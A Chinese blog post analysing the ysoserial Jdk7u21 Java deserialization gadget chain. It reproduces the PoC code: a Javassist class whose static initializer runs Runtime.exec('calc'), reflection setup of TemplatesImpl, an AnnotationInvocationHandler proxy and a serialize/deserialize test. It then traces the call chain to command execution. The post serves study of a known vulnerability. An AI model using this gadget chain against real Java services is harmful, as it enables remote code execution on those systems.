1. 程式人生 > 實用技巧 >Java安全之Jdk7u21鏈分析

Java安全之Jdk7u21鏈分析

Java安全之Jdk7u21鏈分析

文章首發:Java安全之Jdk7u21鏈分析

0x00 前言

其實該鏈是想拿到後面再去做分析的,但是學習到Fastjson這個漏洞,又不得不使用到該鏈。那麼在這裡就來做一個簡單的分析。

在前面分析的利用鏈中,其實大致都差不多都是基於InvokerTransformerTemplatesImpl這兩個類去進行執行命令,而其他的一些利用鏈也是基於這兩個去進行一個變型。從而產生了新的利用鏈。而在這個Jdk7u21鏈中也是基於TemplatesImpl去實現的。

0x01 Jdk7u21鏈構造分析

先來看一下該利用鏈的在yso裡面給出呼叫鏈

LinkedHashSet.readObject()
  LinkedHashSet.add()
    ...
      TemplatesImpl.hashCode() (X)
  LinkedHashSet.add()
    ...
      Proxy(Templates).hashCode() (X)
        AnnotationInvocationHandler.invoke() (X)
          AnnotationInvocationHandler.hashCodeImpl() (X)
            String.hashCode() (0)
            AnnotationInvocationHandler.memberValueHashCode() (X)
              TemplatesImpl.hashCode() (X)
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        ClassLoader.defineClass()
                        Class.newInstance()
                          ...
                            MaliciousClass.<clinit>()
                              ...
                                Runtime.exec()

從這裡其實可以看到JDK 7u21的這條鏈相對來說,比前面的鏈需要的知識量要大一些,分析得也會比較繞。但是其實到了TemplatesImpl.getOutputProperties這一步其實也是和前面的相同。

本篇文就直接使用yos裡面的POC來展開話題。

public Object getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);

		String zeroHashCodeStr = "f5a5a608";

		HashMap map = new HashMap();
		map.put(zeroHashCodeStr, "foo");

		InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
		Reflections.setFieldValue(tempHandler, "type", Templates.class);
		Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

		LinkedHashSet set = new LinkedHashSet(); // maintain order
		set.add(templates);
		set.add(proxy);

		Reflections.setFieldValue(templates, "_auxClasses", null);
		Reflections.setFieldValue(templates, "_class", null);

		map.put(zeroHashCodeStr, templates); // swap in real object

		return set;
	}

因為是第一次寫這個yos裡面POC的分析文章,所以會寫得詳細一些。就先從第一行程式碼看起。

final Object templates = Gadgets.createTemplatesImpl(command);

這裡是呼叫了Gadgets.createTemplatesImpl這個靜態方法,並且傳入執行的命令進去。來跟進一下該方法,檢視該方法的實現。

這裡是返回了他的過載的方法,並且把傳入了命令與TemplatesImplAbstractTransletTransformerFactoryImpl這三個物件。來到他的過載方法中。

在過載方法中對傳入的TemplatesImpl

使用反射建立一個例項化物件。再來看下面的一段程式碼。

這裡看到其實和前面CC2鏈的構造是一樣的。使用Javassist動態建立一個類,並將其中的靜態程式碼塊設定為Runtime執行命令的一段程式碼,然後將其轉換成位元組碼。可以看到和前面不一樣的其實就是這裡是使用了insertAfter,而前面的鏈中使用的是setBody去在靜態程式碼塊中插入惡意程式碼。但是效果其實都是一樣的。可自行嘗試。

對應的POC程式碼:

 ClassPool classPool=ClassPool.getDefault();//返回預設的類池
        classPool.appendClassPath(AbstractTranslet);//新增AbstractTranslet的搜尋路徑
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");//建立一個新的public類
        payload.setSuperclass(classPool.get(AbstractTranslet));  //設定前面建立的CommonsCollections22222222222類的父類為AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

再來看下一段程式碼。

Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());

這個其實有了前面分析了簡易化後的利用鏈POC的基礎後,其實很容易懂,這裡其實就是使用了Reflections.setFieldValuetemplates裡面的_bytecodes設定為前面動態建立的類的位元組碼。

下面的_name設定為Pwnr字元,而_tfactory設定為TransformerFactoryImpl由反射建立的例項化物件。

Reflections.setFieldValue的底層程式碼也是由反射去實現的。

對應程式碼如下:

Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射獲取templatesImpl的_bytecodes欄位
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});

和上面這段程式碼效果相同,後面設定_name_tfactory也是一樣的方式,以此類推。

_name

先來看看這個_name為什麼要設定該值。在前面也分析過該變數設定值的原因,這裡再來敘述一遍。

在執行到templatesImplgetTransletInstance方法的時候會先去判斷name的值如果為空,就會直接返回null,不做下面的執行

_bytecodes

這個_bytecodes前面也分析過。

來看到圈出來的這一段程式碼,如果_class為空,就會呼叫this.defineTransletClasses();方法。

跟進一下。

在圈出來的這一步就會去呼叫loader.defineClass方法然後傳入_bytecodes,前面是使用了反射將惡意類的位元組碼賦值給_bytecodesloader.defineClass這個方法進行一下跟進。

實際中他的底層是呼叫了defineClass類載入器。關於defineClass類載入器可以將一個位元組碼進行動態載入。

具體可以看我的Java安全之 ClassLoader類載入器這篇文章。插個題外話,類載入器的呼叫無非兩種方法,要麼就是反射去呼叫,要麼就直接繼承該類進行重寫。

回到剛剛的地方

_class賦值完成後,會在該地方呼叫newInstance進行例項化。而惡意的類的靜態程式碼塊中寫入的惡意程式碼就會進行執行。

_tfactory

看一個大佬的文章說是 在defineTransletClasses()時會呼叫getExternalExtensionsMap(),當為null時會報錯,所以要對_tfactory 設值。但是我在查詢的時候並未看到getExternalExtensionsMap方法,而且在yso裡面將設定_tfactory 值的程式碼給註釋了一樣能正常執行命令。

在我的物理機 8u181的版本中也沒有發現。

後來看到大佬的文章中有該方法

根據大佬的解釋是可以看到jdk1.8多了個_tfactory.getExternalExtensionsMap()的處理。我們在jdk1.8的環境下跟蹤下程式,發現到這裡_tfactory的值為null,所以執行_tfactory.getExternalExtensionsMap()函式時會出錯,導致程式異常,不能載入_bytecodes的中的類。

下面再回到剛剛的點,來看下一段POC程式碼

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

檢視一下Reflections.getFirstCtor方法,內部就是使用反射建立一個無參構造的物件

傳入的是Gadgets.ANN_INV_HANDLER_CLASS檢視一下該靜態方法。

該方法返回的是AnnotationInvocationHandler字元。也就是建立了一個AnnotationInvocationHandler的物件,並且呼叫newInstance例項化該物件,傳入Override.class, map。前面說過AnnotationInvocationHandler這個類是用來處理註解的,前面的引數需要傳入一個註解的引數,後面的需要傳入一個map型別引數

簡單來說就是使用反射建立了一個AnnotationInvocationHandler的例項。

Reflections.setFieldValue(tempHandler, "type", Templates.class);

這一段程式碼其實沒啥好說的,就是把tempHandler裡面的type的變數改成Templates.class

Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

再來看到下一段程式碼,跟進一下Gadgets.createProxy方法。

這裡面實際上就是使用了 Templates去做動態代理。

對應POC程式碼:

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Templates templates=(Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),Templates.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,templates);

接下來就還剩最後一段程式碼

LinkedHashSet set = new LinkedHashSet(); // maintain order
		set.add(templates);
		set.add(proxy);

		Reflections.setFieldValue(templates, "_auxClasses", null);
		Reflections.setFieldValue(templates, "_class", null);

		map.put(zeroHashCodeStr, templates); // swap in real object

在下面的程式碼就很好解釋了,例項化一個LinkedHashSet物件將templatesproxy新增進去。

後面的就是將templates_class_auxClasses設定為空,前面的分析中提到過,在templatesImpl中的_class必須為空才會去執行getTransletInstance方法。

POC的程式碼其實也就這麼多,因為yso將一些程式碼做了一個很好的封裝,顯得程式碼量也是比較少,但是如果第一次分析利用鏈就看yso的程式碼,會比較亂。POC具體為何這麼構造會在除錯分析中做一個詳細的講解。

0x02 Jdk7u21鏈除錯分析

在該工具裡面寫一個測試類去獲取一下,payload。

   public static void main(String[] args) throws Exception {
        Object calc = new Jdk7u21().getObject("calc");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.out"));
        oos.writeObject(calc);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.out"));

        Object o = ois.readObject();
    }

命令執行成功,接下來來分析一下該利用鏈呼叫。

這裡使用的是LinkedHashSet.readObject去作為反序列化的入口點,但是LinkedHashSet並沒有去實現readObject方法,但是該類繼承了HashSet類,所以這裡呼叫的是HashSetreadObject方法。在該方法打一個斷點。

該方法在此處呼叫了,map.put方法,根據一下該方法。

在這裡可以看到呼叫的是HashMap的put方法,這是為什麼呢?查詢一下HashSet中的Map成員變數

定義成員變數的時候,該map變數其實就是一個HashMap類的屬性。

回到剛才的地方

看到這裡執行完後,會跨過for 的程式碼塊,執行下面的程式碼。因為table值是空的,這裡就沒法進行遍歷。

而後面會使用addEntry,將這幾個值新增進入,hash的值為hash方法處理TemplatesImpl的值,也就是計算了

TemplatesImpl的hash值。key為TemplatesImpl的例項物件,value則是一個空的Object物件,i引數為indexFor方法處理hash後的結果。

回到這次執行完成,會返回到HashSet的這次迴圈。

再第二次迴圈的時候,就會進入到該for迴圈裡面

關鍵點其實就在這個key.equals前面說過這個key為TemplatesImpl的例項,前面做了一個動態代理,這裡呼叫他的equals就會觸發到AnnotationInvocationHandler invoke方法。

這個地方還會去呼叫equalsImpl方法,跟進一下該方法。

var8 = var5.invoke(var1); 語句,這裡是通過反射呼叫 var1 物件的 var5 方法。跟蹤一下getMemberMethods方法就知道。

在這裡的this.typetemplates物件,使用getDeclaredMethods反射獲取方法。

在這裡可以看到獲取到2個方法。在後面還可以看到一個for迴圈,然後會遍歷var2的值。然後下面使用var8 = var5.invoke(var1);

反射去呼叫,這裡傳入的var是TemplatesImpl的例項物件。

這時候就會去呼叫getOutputProperties方法,其實到這步已經是很清晰了。因為後面的呼叫步驟和前面使用TemplatesImpl構造惡意類的呼叫時一樣的。

getOutputProperties方法會去呼叫newTransformer方法,newTransformer又會去呼叫getTransletInstance方法,

到了後面的就不需要多說了,這裡也只是簡單描述一下。

參考文章

https://b1ue.cn/archives/176.html
https://xz.aliyun.com/t/6884
https://xz.aliyun.com/t/7236#toc-6

0x03 結尾

其實在該鏈中還有一些細節點沒去做分析,該鏈的難點我覺得在於比較繞。這也是為什麼後面才去分析這條鏈的原因,不得不說的一個點是能夠完整分析這個鏈的一些細節點都是大佬,需要有較為深厚的程式碼功底。